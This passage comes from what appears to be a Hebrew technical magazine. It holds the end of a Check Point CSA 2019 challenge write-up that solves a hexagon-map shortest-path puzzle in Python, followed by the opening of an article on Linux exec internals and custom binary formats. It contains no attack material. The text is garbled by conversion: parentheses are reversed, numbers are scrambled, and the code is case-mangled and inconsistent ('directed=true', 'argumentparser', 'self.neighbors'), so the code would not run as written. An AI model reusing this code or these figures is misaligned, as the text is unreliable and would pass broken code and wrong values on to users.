עצמו הפעלת אלגוריתם דייקסטרה ע"מ לחשב את המסלולים הקצרים ביותר בין הערים השונות לוגיקה שמשתמשת בתוצאת החישוב של דייקסטרה על מנת למצוא את סט המסלולים בעל העלות הנמוכה ביותר, כפי שנדרש מאיתנו נתחיל מייצוג הגרף. לשם כך הגדרנו מספר מחלקות ייצוג. המחלקה הבאה מייצגת נקודת ציון: class Coordinate(namedtuple("Coordinate", ["x", "y"])): slots = () def repr (self): return f"({self.x}, {self.y})" def eq (self, other): if isinstance(other, Coordinate): return (self.x == other.x) and (self.y == other.y) return False def hash (self): return hash(self.x) * hash(self.y) היא מממשת מתודות עזר על מנת לוודא ששתי נ"צ שוות אם ערכי ה- x וה- y שלהם שווים. לשם ייצוג המשאבים וסוגי השטח השונים, נגדיר שני :Enums Terrain = Enum('Terrain', zip(['open', 'WOOD', 'MOUNTAIN', 'DESERT', 'SWAMP'], count(1))) Product = Enum('Product', zip(['stone', 'PRODUCE', 'TEXTILE', 'CLAY', 'WOOD', 'ORE'], count(1))) 82 Check Point CSA 2019 סדרת אתגרי

82 City = namedtuple('city', 'coordinate products') ולבסוף, עיר כוללת נקודת ציון ואוסף של משאבים: הייצוג של הגרף, אם כך, ממומש באופן הבא: class HexagonMap(object): NEIGHBORS = [ [(1, -1), (-1, -1), (0, 1), (1, 0), (0, -1), (-1, 0)], # Even [(0, 1), (-1, 0), (1, 0), (0, -1), (-1, 1), (1, 1)] # Odd ] def init (self, cost_map: typing.dict): self.initialized = False self.map = [] self.cities = [] self.cost_map = cost_map def from_data_file(self, path: str): # See full implementation in appendix. # In short, creates a 2D array of terrains (self.map), # creates a list of cities (self.cities), and initializes # self.width and self.height def get_neighbors(self, coordinate: Coordinate) -> typing.list: """Return the neighbors of a given coordinate""" res = [] for (dx, dy) in self.neighbors[coordinate.x % 2]: new_x = coordinate.x + dx new_y = coordinate.y + dy if (0 <= new_x < self.height) and (0 <= new_y < self.width): res.append(coordinate(new_x, new_y)) return res def get_all_nodes(self) -> typing.generator[coordinate, None, None]: """Return all nodes in graph""" for x in range(self.width): for y in range(self.height): yield Coordinate(x, y) def get_cost(self, coordinate: Coordinate) -> int: """Return the cost of a given coordinate""" return self.cost_map[self.map[coordinate.x][coordinate.y]] את המימוש המלא של המתודה שאחראית על קריאת הייצוג הטקסטואלי של הגרף השמטנו מכיוון שהוא ארוך ופחות מעניין עבור התמונה הגדולה. ניתן למצוא אותו בנספח א'. מלבד המתודה הזו, ייצוג הגרף כולל מתודה להחזרת כל נקודות הציון, מתודה לקבלת העלות של נקודת ציון מסוימת )רשימת העלויות מתקבלת כפרמטר באתחול האובייקט( ומתודה להחזרת כל השכנים של נקודת ציון מסוימת. 82 Check Point CSA 2019 סדרת אתגרי

83 נקודות הציון של השכנים תלויות בזוגיות של ערך ה- X, לפי החוקיות הבאה: X אי-זוגי X זוגי נספח ב' כולל את המפה לדוגמא בצירוף נקודות הציון. לאחר השלמת הייצוג של הגרף, נעבור לחישוב טבלת העלויות הבסיסית באמצעות אלגוריתם דייקסטרה. נשתמש במימוש של scipy לחישוב טבלת העלויות. class RoadOptimizerBase(object): def init (self, hm: HexagonMap): self.hm = hm הקוד שאחראי לכך הוא: self.city_indices = [self.coordinate_to_index(c.coordinate) for c in self.hm.cities] self.costs, self.paths = shortest_path(self._create_cost_graph(), method='auto', directed=true, return_predecessors=true, unweighted=false, overwrite=false, indices = self.city_indices) def _create_cost_graph(self) -> csr_matrix: graph = np.zeros((self.hm.width ** 2, self.hm.height ** 2), dtype = int) for node in self.hm.get_all_nodes(): graph[self.coordinate_to_index(node)][self.coordinate_to_index(node)] = 0 for neighbor in self.hm.get_neighbors(node): graph[self.coordinate_to_index(node)][self.coordinate_to_index(neighbor)] = self.hm.get_cost(neighbor) return csgraph_from_dense(graph) def coordinate_to_index(self, coord: Coordinate) -> int: return coord.x * self.hm.width + coord.y def index_to_coordinate(self, index: int) -> Coordinate: return Coordinate(index // self.hm.width, index % self.hm.width) def get_index_in_city_indices(self, city_index: int) -> int: return self.city_indices.index(city_index) def get_path(self, origin_city_index: int, dst_city_index: int) -> typing.list: origin_index_in_city_indices = self.get_index_in_city_indices(origin_city_index) 83 Check Point CSA 2019 סדרת אתגרי

84 ] path = [dst_city_index dst = dst_city_index while self.paths[origin_index_in_city_indices, dst]!= -9999: )] path.append(self.paths[origin_index_in_city_indices, dst ] dst = self.paths[origin_index_in_city_indices, dst ] return path[::-1 def get_roads_for_city(self, origin_city: City): )" raise NotImplementedError("Implement me הערות מימוש : ה API- של scipy דורש ייצוג של גרף בתור טבלה, כאשר השורות והעמודות מייצגות נקודות ציון על הגרף. הערך של הטבלה במיקום i, j יהיה העלות של הקשת בין נ"צ i לנ"צ.j אם אין קשת בין שתי נקודות הציון הללו, הערך יהיה.1 למשל, להלן ייצוג של גרף פשוט והטבלה המתאימה לו : במפ ה שקיבלנו, לא מסמנים קודקודים על הגרף באמצעות מספר סידורי רץ אלא באמצעות נקודות ציון עם ערכי ), (x, y אבל מכיוון שהגרף שלנו מייצג טבלה מלאה, במקרה הזה קל לעבור בין שני הייצוגים באופן הבא : def coordinate_to_index(self, coord: Coordinate) -> int: return coord.x * self.hm.width + coord.y def index_to_coordinate(self, index: int) -> Coordinate: ) return Coordinate(index // self.hm.width, index % self.hm.width עוד עניין שראוי לציון הוא שה API- של scipy מאפשר לצמצם את החישובים שיבוצעו ע"י אלגוריתם דייקסטרה באמצעות הגדרה מדויקת של נקודות המוצא. כלומר, במקום לחשב את העלות מכל קודקוד אל כל קודקוד אחר על הגרף, האלגוריתם יחשב את רק העלות מקודקודי המוצא שנגדיר לו. נקודות המוצא שלנו הן הערים, לכן נשלח בפרמטר indices רשימה של המספרים הסידוריים (כלומר האינדקסים) של הערים בלבד. בתור תוצאה נקבל חזרה טבלה שבה התא ) (i, j מכיל את העלות הנמוכה ביותר עבור הגעה מ i- ל,j- כאשר i מסמל את המיקום ברשימת הערים ששלחנו ב ( indices- ולא את המספר הסידורי של קודקוד המוצא) בעוד ש j- את המספר הסידורי של קודקוד היעד. Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

85 בנוסף, נקבל טבלה נוספת שתאפשר לנו לשחזר את המסלול שהביא אותנו אל העלות הנמוכה ביותר, כאשר כל תא בטבלה מצביע על הקודקוד הקודם, והמסלול מסתיים עם קבלת הערך נותר לנו רק להשתמש בנתונים שאספנו על מנת למצוא את אוסף ההגדרה. המסלולים המינימלי שעונה על הדרך הנאיבית לעשות זאת היא באמצעות מעבר על כל תתי-הקבוצות של הערים: עבור כל עיר )להלן: "עיר מוצא"(: 8. עבור כל תת-קבוצה של ערים: a. אם תת-הקבוצה כוללת את כל המשאבים, נסכום את עלות המסלולים אל כל הערים בתת- i. הקבוצה נבחר את תת-הקבוצה עם הסכום המינימלי b. הפתרון יכלול את אוסף תת-הקבוצות המינימליות עבור כל עיר מוצא. נתחיל מפתרון נאיבי שכזה ובהמשך נראה כיצד ניתן לייעל אותו ולהקטין את מרחב החיפוש. לצורך כך, ניצור שש קבוצות - קבוצה לכל משאב. נוסיף לכל קבוצה את כל הערים שיש להן את המשאב המתאים. בדוגמא שלנו, הקבוצות ייראו כך: Stone Produce Textile Clay Wood Ore Ao, Bel, Forge Bel, Halo Chance, Ember Chance, Dale, Ember Dale Ember, Forge, Gate, Halo כעת, עבור כל עיר-מוצא, נבחר עיר אחת מכל קבוצה ונקבל אוסף של ערים שמעניק לנו את כל המשאבים. לדוגמא, עבור עיר המוצא,Ao נתחיל מבחירה של: Stone Produce Textile Clay Wood Ore Ao Bel Chance Chance Dale Ember נחשב את העלות הכוללת אל כל הערים הללו: 99. נמשיך עם ביצוע בחירה אחרת של עיר אחת מכל קבוצה: Stone Produce Textile Clay Wood Ore Ao Bel Chance Chance Dale Forge נחשב את העלות הכוללת: 91. מכיוון שהתוצאה הזו טובה יותר מהתוצאה הקודמת, נשמור אותה בתור התוצאה הטובה ביותר. כאשר נסיים לעבור על כל הבחירות האפשריות, נקבל את תת-קבוצת הערים האופטימלית עבור עיר המוצא.Ao 85 Check Point CSA 2019 סדרת אתגרי

86 השיטה הזו אמנם תתן לנו את הפתרון שרצינו, אך זמן הריצה שלה אינו אופטימלי, מכיוון שעבור כל עיר מוצא, היא צריכה לעבור על 4*1*3*2*2*3 תוצאות. זה אולי לא נורא כשיש לנו רק שש ערים, אך זוהי רק דוגמא. השאלה האמיתית כוללת 89> ערים ולכן עלינו למצוא דרך לצמצם את מרחב החיפוש. נוכל לעשות זאת באופן הבא: אנחנו הרי עוברים קבוצה-קבוצה ובוחרים עיר מכל קבוצה. כעת, לפני שאנחנו בוחרים עיר מקבוצה מסוימת, נבדוק אם העלות הכוללת עד עתה של כל הערים שכבר בחרנו עולה על התוצאה האופטימלית שמצאנו עד עתה. אם זה המצב - אנחנו יכולים לוותר על בחירה מכל הקבוצות שנותרו - שהרי אין סיכוי שנצליח לשפר את התוצאה הקיימת. את הלוגיקה הזו קל מאוד לממש class RoadOptimizerV1(RoadOptimizerBase): def init (self, hm: HexagonMap): super(). init (hm) באמצעות רקורסיה, ובפרט :Backtracking # Create a list of length len(product). Each item is a list of all the # cities that have the matching product. product_to_index = {product:i for i, product in enumerate(product)} self.cities_per_product = [[] for i in range(len(product))] for city in hm.cities: for product in city.products: self.cities_per_product[product_to_index[product]].append( self.coordinate_to_index(city.coordinate)) def _get_minimal_roads(self, product_index: int, current_cost: int, set_of_cities: typing.set): if product_index == len(self.cities_per_product): if self.best_answer is None or current_cost < self.best_cost: self.best_cost = current_cost self.best_answer = copy.deepcopy(set_of_cities) return for city in self.cities_per_product[product_index]: already_in_set = city in set_of_cities skip = False if not already_in_set: # We only add a city if it wasn't already in the set set_of_cities.add(city) updated_cost = current_cost + int(self.costs[self.origin_index_in_city_indices][city]) if updated_cost > self.best_cost and self.best_answer is not None: # Prune the branch now since the current cost is already bad enough, # so no point in continuing down this path skip = True else: # We didn't add a city (it was already there), so cost hasn't changed updated_cost = current_cost if not skip: # Continue to the next product self._get_minimal_roads(product_index + 1, updated_cost, set_of_cities) if not already_in_set: # We only remove a city if we were the ones to add it set_of_cities.remove(city) def get_roads_for_city(self, origin_city: City) -> str: res = [] self.best_cost = math.inf self.best_answer = None origin_city_index = self.coordinate_to_index(origin_city.coordinate) self.origin_index_in_city_indices = self.get_index_in_city_indices(origin_city_index) self._get_minimal_roads(0, 0, set()) for dest_city_index in self.best_answer: 86 Check Point CSA 2019 סדרת אתגרי

87 if dest_city_index!= origin_city_index: res.append(", ".join(str(self.index_to_coordinate(p)) for p in self.get_path(origin_city_index, dest_city_index))) return "\n".join(res) המחלקה הזו תמצא את התוצאה האופטימלית עבור עיר מסוימת. באתחול שלה, היא מקבלת את הגרף ואז מחלקת את ערים לקבוצות של משאבים. לאחר מכן, יש לקרוא למתודת get_roads_for_city עם עיר- מוצא כלשהי. המתודה תקרא למתודה הרקורסיבית._get_minimal_roads מתודה זו, בתורה, תבצע את הבחירה של ערים כפי שהסברנו קודם. אם עלות-הביניים כבר גבוהה מהתוצאה הטובה ביותר, המתודה תרים את דגל Skip ועל ידי כך תדלג על כל תת-המרחב. הערת מימוש: בפועל אנו מוסיפים את העיר לאוסף הערים המתגבש רק אם היא לא הייתה שם קודם, ומסירים אותה רק אם הוספנו אותה ב- context הנוכחי. המימוש הזה מסייע לנו לתחזק את current_distance בצורה פשוטה )האלטרנטיבה היא לחשב אותו מאפס בכל קריאה רקורסיבית על ידי סכימת העלות של כל מרחקי הערים באוסף הנוכחי, אך אנחנו נמנעים מכך ופשוט מוסיפים את המרחק from collections import namedtuple, defaultdict from scipy.sparse import csr_matrix from scipy.sparse.csgraph import * from itertools import count from enum import Enum import argparse import numpy as np import typing import time import copy import math import re # See code from above הנוכחי רק אם הוספנו את העיר אל האוסף באותה הזדמנות(. החלק האחרון של הסקריפט הוא זה שמחבר את כל החלקים יחד: def solve(hm: HexagonMap, output_file: str): with open(output_file, "w") as o: ro = RoadOptimizerV1(hm) print ("Calculated initial costs in {} seconds".format(time.time() - start)) for i, city in enumerate(hm.cities): print("city {}/{}".format(i + 1, len(hm.cities)), end="\r") print(ro.get_roads_for_city(city), file = o) if name == " main ": parser = argparse.argumentparser() parser.add_argument('-i', '--input_file', action = 'store', help='input file name', default = 'example.txt') parser.add_argument('-o', '--output_file', action = 'store', help='output file name') args = parser.parse_args() hm = HexagonMap({Terrain.OPEN: 1, Terrain.WOOD: 2, Terrain.MOUNTAIN: 6, Terrain.DESERT: 7, Terrain.SWAMP: 4}) output_file = args.output_file if args.output_file else "out_" + args.input_file start = time.time() hm.from_data_file(args.input_file) solve(hm, output_file) end = time.time() print ("Parsed {} cities, Done in {} seconds".format(len(hm.cities), end - start)) 87 Check Point CSA 2019 סדרת אתגרי

88 כל זה טוב ויפה, וניתן לפתור את התרגיל באמצעות אלגוריתם זה בתוך פחות מדקה, אבל האם זה הפתרון הכי יעיל שניתן להציע? ובכן, התשובה היא שלא, וזה גם היופי באלגוריתמיקה - הסתכלות על הבעיה מנקודת מבט שונה יכולה פתאום להציע פתרון יעיל יותר בכמה סדרי גודל. הניסיון השני שלנו יפעל באופן הבא: עבור כל עיר-מוצא, ראשית נזהה את רשימת המשאבים שחסרים לעיר זו. לאחר מכן, נעבור על כל החלוקות האפשריות של רשימת המשאבים החסרים לתתי-קבוצות. כל חלוקה מורכבת למעשה ממספר תתי-קבוצות )לא ריקות( כך שכל משאב מופיע בדיוק בתת-קבוצה אחת. לכל תת-קבוצה כזו, ננסה למצוא את העיר עם העלות הנמוכה ביותר שמכילה את כל המשאבים בתת-הקבוצה )אם אין עיר כזו, החלוקה הזו לא טובה לנו ונדלג הישר לחלוקה הבאה(. בסופו של דבר, נישאר רק עם חלוקות שבהן הצלחנו לזהות עבור כל תת-קבוצה בחלוקה את העיר עם העלות הנמוכה ביותר. נותר רק לבחור מתוך רשימת החלוקות הזו את החלוקה הטובה ביותר, כלומר זו שסכום העלויות של הערים הוא הנמוך ביותר, וסיימנו. נראה דוגמא קצרה. אם עיר-המוצא שלנו היא,Ember אז רשימת המשאבים שחסרים לעיר היא: Produce, Wood, Stone להלן כל החלוקות האפשריות של רשימת המשאבים החסרים לתת-קבוצות: [[<Wood>, <Produce>, <Stone>]] [[<Wood>], [<Produce>, <Stone>]] [[<Wood>, <Produce>], [<Stone>]] [[<Produce>], [<Wood>, <Stone>]] [[<Wood>], [<Produce>], [<Stone>]] החלוקה הראשונה מורכבת מתת-קבוצה יחידה. מכיוון שאין עיר שמכילה את כל המשאבים בתת-קבוצה זו, היא לא טובה לנו ונדלג עליה. עבור החלוקה השנייה נגלה שהעיר Dale נותנת את התוצאה הטובה ביותר עבור תת-הקבוצה הראשונה )עלות של 88(, והעיר Bel נותנת את התוצאה הטובה ביותר עבור תת-הקבוצה השנייה )עלות של 3(. בסך הכל, העלות הכוללת של החלוקה הזו היא בחלוקה עם העלות הנמוכה ביותר. ;8. נמשיך לבדוק את שאר החלוקות, ולבסוף נבחר class RoadOptimizerV2(RoadOptimizerBase): MAX_VAL = 0xFFFFFF הקוד הבא יבצע זאת בפועל: def init (self, hm: HexagonMap): super(). init (hm) # Mapping of each city to the set of products it holds self.cities_to_products = defaultdict(set) for city in hm.cities: for product in city.products: self.cities_to_products[self.coordinate_to_index(city.coordinate)].add(product) # The set of all products 88 Check Point CSA 2019 סדרת אתגרי

89 self.all_products = set([p for p in def partition(cls, collection: typing.collection) -> typing.list: """ Generate all different partitions of a given collection. A partition of a set is a grouping of the set's elements into non-empty subsets, in such a way that every element is included in exactly one subset. """ if len(collection) == 1: yield [ collection ] return first = collection[0] for smaller in cls.partition(collection[1:]): # Insert 'first' in each of the subpartitions' subsets for n, subset in enumerate(smaller): yield smaller[:n] + [[ first ] + subset] + smaller[n+1:] # Put 'first' in its own subset yield [ [ first ] ] + smaller def get_roads_for_city(self, origin_city: City) -> str: Pair = namedtuple('pair', 'cost city_index') paths = [] # The list of products which the origin city does NOT have. missing_products = list(self.all_products - self.cities_to_products[self.coordinate_to_index(origin_city.coordinate)]) origin_city_index = self.coordinate_to_index(origin_city.coordinate) origin_index_in_city_indices = self.get_index_in_city_indices(origin_city_index) candidates = [] for partition in self.partition(missing_products): # For every way to partition the missing product list: lst = [] for subset in partition: # For each subset of the current way to partition the missing products: min_cost = self.max_val min_city = None for dest_city_index in self.cities_to_products: if set(subset).issubset(self.cities_to_products[dest_city_index]) and self.costs[origin_index_in_city_indices, dest_city_index] < min_cost: # If the current destination city has all the products in the current subset, and the cost to the destination # city is lower than the previous minimum, save the current result as the new minimum min_cost, min_city = int(self.costs[origin_index_in_city_indices, dest_city_index]), dest_city_index subset if min_cost == self.max_val: # We couldn't find any city with all the missing products of the current break lst.append(pair(min_cost, min_city)) if len(lst) == len(partition): # For the current partition of missing products, we were able to find for each subset the minimal-cost city # which has all the resources of the subset. partition_cost = sum([pair.cost for pair in lst]) candidates.append(pair(partition_cost, [pair.city_index for pair in lst])) # Find the solution with the minimal cost among all solution candidates total_cost, cities = min(candidates, key=lambda x: x.cost) for dest_city_index in cities: lst = ", ".join(str(self.index_to_coordinate(p)) for p in self.get_path(origin_city_index, dest_city_index)) if lst not in paths: paths.append(lst) return "\n".join(paths) 89 Check Point CSA 2019 סדרת אתגרי

90 הבעיה עם הפתרון הראשון היא שפתרון זה יעבור על אותו אוסף ערים מספר פעמים בסדר שונה. את הבעיה פתרנו עם הפתרון השני, שמבצע את המעבר על ידי שימוש בחלוקות )שבהן אין חשיבות לסדר(. (4, 4), (3, 4), (3, 5) (4, 4), (3, 4), (2, 5), (1, 5) (4, 4), (5, 4), (6, 4) (3, 5), (2, 6), (1, 5) (3, 5), (4, 5), (5, 4), (6, 4) (4, 3), (3, 2), (3, 1), (4, 1), (5, 1) (4, 3), (3, 2), (2, 3), (2, 4), (3, 4), (3, 5) (4, 3), (3, 2), (3, 1), (4, 1), (5, 1), (6, 2), (6, 3), (6, 4) (6, 4), (5, 4), (4, 5), (3, 5), (2, 6), (1, 5) (6, 4), (5, 4), (4, 5), (3, 5) (1, 5), (2, 6), (3, 5) (1, 5), (2, 6), (3, 5), (4, 5), (5, 4), (6, 4) (2, 5), (1, 5) (2, 5), (3, 5) (2, 5), (3, 4), (4, 5), (5, 4), (6, 4) (5, 1), (4, 1), (3, 1), (2, 2), (2, 3), (1, 3), (1, 4), (1, 5) (5, 1), (4, 1), (3, 1), (2, 2), (2, 3), (2, 4), (3, 4), (3, 5) (5, 1), (6, 2), (6, 3), (6, 4) (6, 7), (6, 6), (5, 5), (4, 5), (3, 5) (6, 7), (6, 6), (5, 5), (4, 5), (3, 4), (2, 5), (1, 5) (6, 7), (6, 6), (5, 5), (5, 4), (6, 4) עבור הדוגמא, הפלט הוא: שימו לב שקיימים פתרונות אחרים עבור הבעיה. למשל, בפתרון לדוגמא, ישנו מעבר בקודקוד (2,2) בעוד שקיימת תשובה שקולה לחלוטין העוברת דרך קודקוד (3,2). הפלט עבור הקלט האמיתי ארוך מדי )<891 מסלולים(, לכן נכלול רק את הדגל: 90 Check Point CSA 2019 סדרת אתגרי

91 סיכום כמו בשנים קודמות, גם השנה חברת Check Point פרסמה CTF מוצלח ביותר. באופן פרדוקסלי, דווקא האתגר עם מספר הנקודות המועט ביותר Tinba( )Hunting כנראה שאף פעם לא קל למצוא מחט בערמת שחת. היה אחד הקשים, שני תרגילי התכנות הראשונים היו קלים למדי, אך התרגיל השלישי לאלגוריתמים ולתורת הגרפים. פיצה על כך עם קשר יפה וכמובן, היה נחמד לשוב ולהיזכר בנסיך הפרסי שהיה אחד המשחקים הפופולריים בארץ בזמנו. מרשים מאוד לראות רימייק שנוצר מהדיסאסמבלי של גרסת הדוס. פרסום הפתרון נעשה באישור היוצרים לאחר שהגיוס ל CSA הסתיים, אך האתגר עצמו עדיין יישאר פתוח בתקופה הקרובה, ומי שלא הספיק מוזמן לנצל את ההזדמנות ולהתנסות. כל הכבוד ליוצרים, מחכים ל- CTF של שנה הבאה! 92 Check Point CSA 2019 סדרת אתגרי

92 נספח א': אתגר #11 - קריאת הייצוג הטקסטואלי של הגרף המימוש המלא של הפונקציה: def from_data_file(self, path: str): if self.initialized: raise RuntimeError("Map already initialized") try: with open(path) as f: if f.readline()!= "Map terrain:\n": raise RuntimeError("Incorrect format: Expected map terrain") line = f.readline() while line!= "Cities:\n": if line!= "\n": line = line.strip("[],\n") self.map.append(list(map(lambda x: Terrain[x.upper()], line.split(", ")))) line = f.readline() assert(line == "Cities:\n") city_regex = re.compile(r'^\((\d+),\s(\d+)\),\s([\w, ]+)$') while line!= "": match = city_regex.match(line.rstrip()) if match: coord = Coordinate(int(match.group(1)), int(match.group(2))) products = tuple(map(lambda x: Product[x.upper()], match.group(3).split(", "))) city = City(coord, products) self.cities.append(city) line = f.readline() self.width = len(self.map[0]) self.height = len(self.map) self.initialized = True except RuntimeError as e: raise e except Exception as e: raise RuntimeError("Error parsing data file: {}".format(e)) 92 Check Point CSA 2019 סדרת אתגרי

93 נספח ב': אתגר #11 - המפה לדוגמא בצרוף נקודות ציון 93 Check Point CSA 2019 סדרת אתגרי

94 Having Fun With Binary Formats מאת יובל יוחנן הקדמה חשבתם פעם מה קורה כאשר אתם מריצים את הפקודה ls בטרמינל? או מה קורה כשאתם מריצים סקריפט פייתון? במאמר זה אני אסביר לעומק מה קורה כשאתם מבצעים כל אחת מפעולות אלה ודומותיהן על מערכת ההפעלה לינוקס, ואף נכתוב binary format בעצמנו לקבצי GIF לצורך הבנת החלק הראשון של המאמר לא דרוש ידע קודם, אך לחלק השני דרושה מעט הבנה בכתיבת kernel modules וקימפולם. נתחיל מההתחלה נתחיל את הדיון בהסתכלות על איך ה- exec system call ממומשת במערכות כמו לינוקס. זה חלק מעניין בקרנל מפני שהיכולת הבסיסית ביותר של כל מערכת הפעלה היא הרצת תוכניות. נקודת ההתחלה של מ- usr/src/linux (: )נתחיל היא תלוי גרסת קרנל אבל החלק המעניין נמצא ב- fs/exec.c exec הפרמטרים שהפונקציה מקבלת הם: הפרמטר filename מסוג *const char מצביע אל שם התוכנית שתרוץ. הפרמטרים argv ו- envp מסוג ][ *const char מצביע )המצביע עצמו לא משתנה אבל התוכן יכול( אל מערך של NULL-terminated strings שהם הפרמטרים לקובץ. 94 Having Fun With Binary Formats

95 בתוך fs/exec.c קיימת פונקציה בשם : do_execve_file התפקיד העיקרי של פונקציה זו הינו לבדוק עבור.paramter מבנה ה- linux_binprm מוגדר כך: struct linux_binprm למלא את ה-) binary ),errors 95 Having Fun With Binary Formats שדה file מסוג struct file עבור הקובץ שמנסים להריץ, מותיר לקרנל לקרוא את תוכן הקובץ ולהבין איך לנהל אותו שדה filename מסוג char* const ומחזיק את שם התוכנית כפי שנראית על ידי procps שדה interp מסוג,*const char שם הקובץ שמריצים )לרוב אותו דבר כמו,filename משתנה עבור סקריפטים(. שדה ה- page ][ מסוג,struct page מערך שמכיל כתובות של pageים שנועדו למשתני הסביבה והארגומנטים לתוכנית החדשה, הם מוקצים רק כאשר משתמשים בהם ולכן אין בזבוז כאשר רשימת משתני הסביבה או הארגומנטים קצרה. שדה מסוג ה- mm struct mm_struct שמכיל שני struct הינו םי- struct נוספים )בעיקר(: struct rb_root ו- vm_area_struct struct שמיועדים עבור ניהול הזיכרון הוירטואלי של התוכנית. מסוג ה- p שדה,unsigned long מצביע לכתובת ב- mode user linux_binprm.page שהוזכר למעלה, binary formats הארגומנטים הראשונים שנשלחים לתוכנית שעומדת להתבצע. לתחילת ה- data שמוכל ב- משתמשים בשדה זה על מנת לשחק עם שדות ה- argc ו- envc מסוג int מחזיקים את מספר הארגומנטים ומספר משתני הסביבה שמועברים לתוכנית שדה ה- unsafe מסוג int הינו bitmask של סיבות מדוע התוכנית יכולה להיות לא בטוחה להרצה, ה- (LSM( Linux Security Model יכול להשתמש במידע זה כדי להפסיק את הרצת התוכנית. שדה ה- cred מסוג struct_cred שמחזיק מידע לגבי היכולות של התוכנית החדשה, יכול להתעדכן משינויים כגון setdgid)( או.setuid)( שדה ה- buf מסוג ][ char ממולא עם ה- chunk הראשון )?89 בתים( של התוכנית. שדה ה- recursion_depth מסוג,unsigned int אומר כמה פעמים הפונקציה search_binary_handler יכולה להיקרא ברקורסיביות )נראה את השימוש בהמשך(. השלב האחרון בבדיקה ב- do_execve_file הוא קריאה לפונקציה שקוראת ל- search_binary_handler )פה קורה הקסם( שמחפשת מפעיל בינארי עבור הקובץ. מטיבי לכת יכולים להשתמש ב- bootlin מקור. או לרדת לרשימת המקורות ולעקוב אחרי המאמר עם הקוד

96 העבודה שלה נעשית בכך שהיא עוברת על רשימה של,Registered Binary Formats שמבוטאת על ידי מערך של,struct linux_binfmt כל אחד מספק מפעיל לסוג מסויים של קובץ בינארי. מפעיל עלול להיות מוגדר בקרנל לכן תראו שימוש ב- try_module_get כדי לוודא שאף תהליך אחר לא יעשה rmmod למודול הזה כל עוד אנו משתמשים בו, עבור כל מפעיל הפונקציה load_binary נקראת עם ה- linux_binprm שאיתחלנו, אם הפונקציה מצליחה להתמודד עם המפעיל שלנו אז היא מכינה את הפונקציה להרצה ומחזירה מספר שמייצג הצלחה )1=>(. אחרת, הפונקציה מחזירה קוד שגיאה )1<( וממשיכים למפעיל הבא ברשימה. מנגנון בדיקה נוסף מעניין הוא שאם load binary החזירה קוד שגיאה וגם לפחות אחד מארבעת הבתים הראשונים הוא non-printable אז הקוד יטען מודולים בעזרת kerneld ויבדוק אותם, מנגנון זה בא לחסוך זמן כאשר הקובץ שמנסים לטעון הוא קובץ טקסט ללא שורת ה-!#,)shabang( בזמן שלרוב ה- binary formats האמיתיים יש בית אחד non-printable בתוך ארבעת הראשונים. הרצה של תוכנית אחת יכולה להסתמך על הרצה של תוכנית אחרת, דוגמא לזה היא סקריפטים שהם קבצי טקסט עם אופציית הרצה, קבצים אלה צריכים להריץ את ה- interpreter שלהם, כדי להתמודד עם מקרה זה, ניתן לקרוא לsearch_binary_handler בצורה רקורסיבית )השדה recursion_depath ב- )linux_binprm עם זאת, עומק הרקורסיה מוגבל במקסימום ; שגיאה של )-ELOOP פעמים ( הפעם החמישית תפסיק את הריצה ותחזיר קוד גם ל- LSM יש תפקיד, לפני האיטרציה של רשימת ה- formats,binary הפונקציה bprm_check_security נקראת והיא נותנת ל- LSM לבדוק האם להריץ את הקובץ או לא בהתאם לשדה ה- linux_binprm.security שראינו קודם. אם בסוף האיטרציה לא נמצא פורמט בינארי שיכול להסתדר עם הקובץ וגם הקובץ נראה כבינארי ולא טקסט )סקריפטים למיניהם( הפונקציה מחזירה קוד שגיאה שמגיע ל- do_execve_file, משחררת זיכרון במידה והוקצה ב- linux_binprm.mm )הזיכרון הוירטואלי שמוקצה לתוכנית( ומסיימת את ריצתה. מצד שני, אם כל הבדיקות נעברו בהצלחה אז exec_binprm חוזרת )היא זו שקראה ל- search_binary_handler מתוך,) do_execve_file ונעשה שימוש בפונקציות copy_strings ו- copy_strings_kernel על מנת לדחוף את שם התוכנית, משתני הסביבה והארגומנטים לקובץ אל תוך המחסנית, exec ממשיכה את ריצתה ומסיימת עם קוד הצלחה. 96 Having Fun With Binary Formats

97 בסוף הריצה ה- stack אמור להיראות ככה: דלוק, נחשבים ל"סקריפטים", ויש להם את ה- bit execute!# הרצת קבצים טקסטואלים קבצים שמתחילים עם רצף התווים ומנוהלים על ידי.fs/binfmt_script.c אחרי ששני התווים הראשונים נבדקו הקוד בודק את שאר השורה שנקראת גם,script-invocation line מפצל אותה לשם ה- interpreter )החל משני התווים הראשונים ועד הרווח הראשון( וארגומנטים פוטנציאלים ל- interpreter )החל מהרווח ועד סוף השורה(, חשוב לזכור את?89 הבתים הראשונים של התוכנית, מה שאומר שאם האורך linux_binprm.buf שמכיל את השדה הכולל של הארגומנטים גדול יותר מ- 128 הם לא ייכללו. כאשר השגנו את המידע הדרוש, הקוד מוריד את argv[0] ודוחף במקומו את שם התוכנית, הפרמטרים ל- interpreter ושם ה- interpreter לדוגמא: /usr/bin/python ומשנה את linux_binprm.argc בהתאם: כאשר הקוד מגיע ל- search_binary_handler הוא נכנס לרקורסיה על מנת להריץ את ה- interpreter. 97 Having Fun With Binary Formats

98 םי- יצירת Binary format משלנו עם כמה שהמימוש של do_execve_file מעניין, לינוקס מציעה עוד שירות מעניין: ליצור binary format משלנו בזמן ריצה! אני מקווה שאתם מתרגשים מזה לפחות כמוני! נצטרך להתעסק עם כמה struct אבל זה יהיה די פשוט, תחילה נעבור על ה- linux_binfmt :struct שלושת המתודות שמוגדרות ב- struct משומשות על ידי להריץ את הקובץ, לטעון ספרייה Shared(.core file וליצור )library המצביע next משומש על ידי ה- search_binary_handler כאשר הוא עובר על כל רשימת ה- binary על מנת לקבוע האם ה- binary search_binary_handler משומש גם על ידי use_count ובנוסף,.format format נמצא במודול בקרנל כדי למנוע rmmod בלתי צפוי שלו.*(p->binfmt->use_count) המודול אחר כך משתמש בשני הפונקציות register_binfmt ו- binfmt unregister שכל אחת מהן מקבלת )אתם מצליחים לנחש?( linux_binfmt* struct על מנת לרשום את עצמו ולמחוק את עצמו מרשימת ה-,linux_binfmt אז לדוגמא, מודול פשוט שטוען binary format ייראה כך: אם אתם חושבים כרגע "מה זה "?bluff format אז זה באמת bluff ה- struct שמייצג את ה- binary format יכול להכריז בתור NULL על כל הפונקציות שיש ל- struct להציע לנו והקרנל פשוט יתעלם מהן. זה הפורמט הפשוט ביותר מפני שהוא פשוט לא עושה כלום Fallacious( Binary Loader for an Ultimately )Format - תוכלו למצוא קישור למודול המלא בסוף המאמר: 98 Having Fun With Binary Formats

